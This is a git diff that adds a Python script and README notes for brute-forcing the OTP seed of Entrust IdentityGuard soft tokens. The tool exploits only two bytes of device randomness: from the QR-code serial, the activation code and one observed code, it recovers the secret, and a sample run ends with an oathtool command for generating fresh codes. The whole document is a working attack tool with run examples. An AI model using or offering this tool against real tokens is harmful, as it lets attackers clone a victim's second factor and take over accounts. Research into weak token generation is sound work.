diff options
-rw-r--r-- | README.md | 26 | ||||
-rwxr-xr-x | crack-otp.py | 84 |
2 files changed, 110 insertions, 0 deletions
@@ -41,3 +41,29 @@ Counter: 0x31EB8E5 (52345061) 814835 ``` + +# crack-otp.py +Because Entrust soft tokens only use 2 bytes of randomness generated on the end-user device, this means they're trivially bruteforcable given the original QR code and a single OTP output. Simply decode the QR code as usual, and provide it to the script along with an example OTP output and when it was generated. The script will do a sloppy match on the timing (+ and - 30 seconds) to improve the chances of a successful key being found, unless the `--strict-time` paramater is given which causes the script to do an search match. + +The script is fast enough on a CPU that a CUDA/OpenCL implmentation is probably not necessary. + +Example: +``` +$ time ./crack-otp.py 48244-13456 1745-7712-6942-8698 043700 1570434609 +Possibe valid OTP seed found: 9a8eab5ecc9fc413758a92ac223dc6a0 +To generate a code immediately, run: +oathtool -v --totp=sha256 --digits=6 9a8eab5ecc9fc413758a92ac223dc6a0 + +real 0m3.540s +user 0m3.537s +sys 0m0.003s + +$ time ./crack-otp.py 48244-13456 1745-7712-6942-8698 043700 1570434609 --strict-time +Possibe valid OTP seed found: 9a8eab5ecc9fc413758a92ac223dc6a0 +To generate a code immediately, run: +oathtool -v --totp=sha256 --digits=6 9a8eab5ecc9fc413758a92ac223dc6a0 + +real 0m1.212s +user 0m1.209s +sys 0m0.003s +``` diff --git a/crack-otp.py b/crack-otp.py new file mode 100755 index 0000000..ea958bd --- /dev/null +++ b/crack-otp.py @@ -0,0 +1,84 @@ +#!/bin/env python3 +from hashlib import pbkdf2_hmac +import argparse +import logging +import hashlib +from oath import totp + +logging.basicConfig(level=logging.WARNING) + +parser = argparse.ArgumentParser( + description='Generate an OTP secret for an Entrust IdentityGuard soft token', + epilog='If your cracking does not work, try without the Policy argument, as in some cases, this is not used to generate the OTP secret. You can also try adding or removing 30 seconds from the OTPTime parameter, in case a users device has slightly wrong time.' +) +parser.add_argument('Serial', type=str, nargs=1, help='Given to the user (such as through a QR code). Example: 48244-13456') +parser.add_argument('ActivationCode', type=str, nargs=1, help='Given to the user (such as through a QR code). Example: 1745-7712-6942-8698') +parser.add_argument('OTP', type=str, nargs=1, help='An OTP token generated from a given identity. You *must* know the time this was generated for it to be useful. Example: 615136') +parser.add_argument('OTPTime', type=int, nargs=1, help='The time in seconds since EPOCH when the OTP was generated. There is some slack in this value (approximately 30 seconds). Example (2019-10-07 07:50:09 UTC): 1570434609') +parser.add_argument('--policy', type=str, nargs=1, required=False, help='The policy associated with the identity. Example: {"allowUnsecured":"false","trustedExecution":"NOT_ALLOWED"}') +parser.add_argument('--strict-time', type=bool, nargs='?', const=True, required=False, help='Only search for valid keys strictly for the given timestamp. Without this option, the tool will attempt to search 30 seconds ahead or behind the given OTPTime to increase the chances of finding the key') +args = parser.parse_args() + +# Remove dashes from input so we can work with the data +serial = args.Serial[0].replace("-", "") +activation = args.ActivationCode[0].replace("-", "") + +# TODO: Validate all values through the Luhn check digits + +activation = activation[0:-1] # remove last digit -- check digit +activationbytes = int(activation).to_bytes(7, byteorder='big') +logging.info("Activation bytes: 0x%s", activationbytes.hex()) + +keys = [] + +timeToSearch = [] +timeToSearch.append(args.OTPTime[0]) + +if not args.strict_time: + # Lets add some slack + timeToSearch.append(args.OTPTime[0] - 30) + timeToSearch.append(args.OTPTime[0] + 30) + +logging.debug("Time to search array: %s", str(timeToSearch)) + +# Lets iterate over our (sloppy) possible times +for otpTime in timeToSearch: + # We now begin our bruteforce process to determine what RNG bytes were used + # This is only 2 bytes, so can be done fairly simply (65535 possible values) + for i in range(65535): + # Convert i into our two bytes (endianness doesn't matter, as long as we hit all combinations) + rngbytes = i.to_bytes(2, byteorder='big') + + password = activationbytes + rngbytes + + # The secret may or may not include the policy + if args.policy is not None: + password += args.policy[0].encode('utf-8') + logging.info("Policy: %s", args.policy[0].encode('utf-8')) + else: + logging.debug("Policy not provided") + + # Derive the secret key + key = pbkdf2_hmac( + hash_name='sha256', + password=password, + salt=serial.encode("utf-8"), + iterations=8, + dklen=16 + ) + + # Verify whether the output is valid for the given time + otp = totp(key.hex(), hash=hashlib.sha256, t=otpTime) + + if otp == args.OTP[0]: + print("Possibe valid OTP seed found: ", key.hex()) + keys.append(key) + +if len(keys) == 0: + print("No valid keys were found") +elif len(keys) == 1: + print("To generate a code immediately, run:") + print("oathtool -v --totp=sha256 --digits=6 " + keys[0].hex()) +else: + print("To generate a code immediately, run:") + print("oathtool -v --totp=sha256 --digits=6 (found key)") |